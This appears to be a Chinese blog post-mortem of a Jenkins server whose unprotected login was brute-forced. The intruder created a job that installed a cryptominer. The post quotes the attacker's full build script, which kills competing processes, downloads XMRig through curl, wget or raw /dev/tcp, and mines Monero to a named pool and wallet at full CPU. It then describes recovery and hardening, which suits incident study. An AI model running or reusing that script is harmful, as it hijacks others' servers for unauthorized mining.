防伪码:三十功名尘与土,八千里路云和月。
公元2020/04/16 4:38分,登录线上服务器,执行top命令执行,发现已经崩了......
我们的jenkins数据是从广州研发部copy过来的,包括job和plugins目录,和广州确定了,下图三个项目和他们无关。
查看控制台构建输出日志,发现直接把cpu搞崩了
然后看这个莫名其妙的未知项目,发现里面有脚本配置:
#!/bin/bash if [[ $(whoami) != "root" ]]; then for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do kill -9 $tr || : ; done; fi threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1); hostHash=$(hostname -f | md5sum | cut -c1-8); echo "${hostHash} - ${threadCount}"; _curl () { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0/r/nHost: ${HOST}/r/n/r/n" >&3 (while read line; do [[ "$line" == $'/r' ]] && break done && cat) <&3 exec 3>&- } rm -rf config.json; d () { curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2; } test ! -s trace && / d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz && / tar -zxvf trace.tgz && / mv xmrig-5.5.2/xmrig trace && / rm -rf xmrig-5.5.2 && / rm -rf trace.tgz; test ! -x trace && chmod +x trace; k() { ./trace / -r 2 / -R 2 / --keepalive / --no-color / --donate-level 1 / --max-cpu-usage 100 / --cpu-priority 3 / --print-time 25 / --threads ${threadCount:-4} / --url $1 / --user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9 / --pass x / --keepalive } k pool.minexmr.com:4444
此时只需要禁用该workspace,并关闭已启动的进程即可,服务器就此恢复正常
此时,发现jenkins服务因为物理内存不足启动报错了:
凌晨在不影响用户的情况下重启了实例,jenkins和nacos服务都正常:
后端:
前端:
网上看了很多前辈的经验,回头总结一下发现,整个安全事件的根本原因在于Jenkins的没有设置密码验证机制,密码输入错误后可以马上无间断的再次输入,且没有输入次数限制,该安全隐患在安装Jenkins之处的时候就已经发现了,但是当时没有处理,因此给hacker暴力破解提供了可能性,剩下的就简单多了,hacker暴力破解后,创建了一个workspace,并编写build脚本,并在服务器上安装挖矿程序,然后推出。索性是夜间出了问题,我及时发现,然后立即去jenkins开启安全设置。
检查crontab任务是否有异常,发现并无异常。
准确讲这并不算一个病毒,只是别人利用密码验证机制的漏洞,通过Jenkins在服务器上部署了一个占用资源非常庞大的应用程序,客观的说这个应用程序对系统也是无害的,但从安全角度上讲,kacker是有能力通过这一漏洞对系统进行破坏的,所幸的是这是一个线上联调服务器,不会带来直接的经济损失,但此处被hack的经历,确实暴漏出我对服务器安全的不重视,算是一次没有“花钱”买的教训。其实,安全只是相对的,没有绝对的安全可言,还是要提高意识,做好监控,做到及时发现,及时响应!